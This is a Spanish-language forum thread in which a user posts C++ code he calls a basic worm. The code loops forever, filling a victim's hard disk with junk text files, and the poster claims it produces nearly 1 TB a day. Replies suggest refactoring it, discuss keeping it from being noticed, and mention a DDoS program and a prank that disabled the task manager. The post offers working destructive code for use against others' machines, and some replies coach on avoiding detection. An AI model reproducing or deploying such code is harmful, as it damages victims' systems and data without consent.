Gusano básico en C++

Iniciado por zikotik, 24 Octubre 2014, 07:21 AM

0 Miembros y 1 Visitante están viendo este tema.

zikotik

Hola gente, hace mucho no publicaba en este foro y era debido a la falta de tiempo. Hoy decidí publicar un pequeño código que armé en C++ que básicamente lo que hace es crear una cantidad enorme de archivos txt cuyos datos internos son datos para ocupar espacio en el hdisk de la pc víctima.

Los archivos van del 0.txt al 999999999999999999999.txt y dentro de cada archivo se aloja una cadena de datos que van desde el 00:00:00 hasta el 99:99:99 más un agregado de datos modificables.

Haciendo los cálculos, en 24 horas se generan un total de 996 GB de archivos basura, es decir, casi 1 TB.

#include <fstream>
#include <stdlib.h>
#include <string.h>

using namespace std;

int main(){
int nfile = 0;
char hckr[40] = "spk";

while(true){
char fname[24];
itoa(nfile, fname, 10);
strcat(fname, ".txt");
ifstream fseek(fname);

int b = 0;
int c = 0;
int d = 0;
int e = 0;
int f = 0;

if(!fseek.is_open()){
ofstream fo(fname);

for(int a = 0; a <= 9; f++){
if(f > 9){
f = 0;
e++;
}

if(e > 9){
f = 0;
e = 0;
d++;
}

if(d > 9){
f = 0;
e = 0;
d = 0;
c++;
}

if(c > 9){
f = 0;
e = 0;
d = 0;
c = 0;
b++;
}

if(b > 9){
f = 0;
e = 0;
d = 0;
c = 0;
b = 0;
a++;
}

fo << "# data [" << a << b << ":" << c << d << ":" << e << f << "] " << hckr << "\n";
}

fo.close();
} else {
fseek.close();
}

nfile++;
}
}


No sé si definirlo exactamente como un gusano ya que si bien no se duplica a sí mismo ni tampoco se propaga mediante p2p ni nada por el estilo, pero sí tiene la función afectar por lo menos a una parte específica de la pc.

Espero que les sirva de algo el código, y cualquier duda, me preguntan.

PD: NO ME HAGO CARGO DEL USO QUE LE DEN AL MISMO.

leosansan

#1
Cita de: zikotik en 24 Octubre 2014, 07:21 AM



..........................................
int b = 0;
int c = 0;
int d = 0;
int e = 0;
int f = 0;

if(!fseek.is_open()){
ofstream fo(fname);

for(int a = 0; a <= 9; f++){
if(f > 9){
f = 0;
e++;
}

if(e > 9){
f = 0;
e = 0;
d++;
}

if(d > 9){
f = 0;
e = 0;
d = 0;
c++;
}

if(c > 9){
f = 0;
e = 0;
d = 0;
c = 0;
b++;
}

if(b > 9){
f = 0;
e = 0;
d = 0;
c = 0;
b = 0;
a++;
}
.....................................


PD: NO ME HAGO CARGO DEL USO QUE LE DEN AL MISMO.

UFFFFF!!!!!, muchas variables y demasiados if. ¿Por qué no lo intentas con un array?:

Código (cpp) [Seleccionar]
int num [6] = {0} ;
  for( num [0] = 0 ; num [0] <= 9 ; num [5]++ )
      for( i = 1 ; i <  6 ; i++ )
         if ( num [i] > 9 && num [ i - 1 ]++ )
              for( j = i ; j < 6 ; j++ )
                   num [ j ] = 0  ;


¡¡¡¡ Saluditos! ..... !!!!




Pablo Videla

 :xD :xD :xD

Ocupa mucho procesador o ram al momento  de ejecutarlo para que alguien se de cuenta?

Solo pregunto por curiosidad, es una de las formas simples de ser una molestia.

BloodSharp

Cita de: DonVidela en 24 Octubre 2014, 16:04 PM
:xD :xD :xD

Ocupa mucho procesador o ram al momento  de ejecutarlo para que alguien se de cuenta?

Solo pregunto por curiosidad, es una de las formas simples de ser una molestia.

Mmm por lo que se vé de código mucha ram no consume pero si un procesador casi entero salvo que le metás un sleep relativamente corto para que no afecte el consumo del procesador y el rendimiento del programa... :P


B#



Pablo Videla

Cita de: IEAX en 24 Octubre 2014, 16:27 PM
Mmm por lo que se vé de código mucha ram no consume pero si un procesador casi entero salvo que le metás un sleep relativamente corto para que no afecte el consumo del procesador y el rendimiento del programa... :P


B#
Si, si van a hacer un cacho para alguien, hay que hacerlo sin ser detectado.

Kaxperday

Todo un clásico la verdad es fácil crear un script que joda un ordenador no tiene mucho misterio xD. Pero sí la CPU estará quemando , no es la mejor forma de hacerlo.

Me recuerda a mi programa de DDOS que funciona por X tiempo pero si en ese X tiempo tu ordenador sigue vivo (pues está en bucle infinito hasta que se agote el tiempo) es un milagro casi porque el bucle no para de quemar CPU hasta se me bloqueo el ordenador quizas se podría poner un Sleep(10) cada 5 barridas aunque se perdería mucha potencia.

Pero son posibles soluciones saludos.
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.

alkage

Mi primer 'programa' era similar a esto en cuanto en el fin de molestar al usuario. (Era en vb6)
Abría ventana tras ventana de el mismo aleatoriamente al mover el mouse para cerrarlo. Desactivaba el adm de tareas para qno se pudiera matar el proceso y solo quedaba reiniciar el equipo para volver a la normalidad.
Lo curioso es que me 'infecte' sin querer con el y tuve que crear luego la 'cura' jajajaja

A lo que voy es q era tan simple destruir, pero fue mas hermoso encontrar una forma de curar lo que había inventado....

Saludos

rir3760

Cita de: leosansan en 24 Octubre 2014, 12:52 PMmuchas variables y demasiados if. ¿Por qué no lo intentas con un array?
Ya que solo se trata de un contador con la salida NN:NN:NN se puede reducir el numero de bucles a dos y el numero de expresiones mediante un centinela. Un programa para explicarlo mejor (C90):
#include <stdio.h>
#include <stdlib.h>

int main(void)
{
   int num[4] = {0}; /* num[0] es un centinela */
   int i;
   
   while (num[0] == 0){
      printf("%02d:%02d:%02d\n", num[1], num[2], num[3]);
     
      for (i = 3; ++num[i] == 100; --i)
         num[i] = 0;
   }
   
   return EXIT_SUCCESS;
}


Un saludo
C retains the basic philosophy that programmers know what they are doing; it only requires that they state their intentions explicitly.
--
Kernighan & Ritchie, The C programming language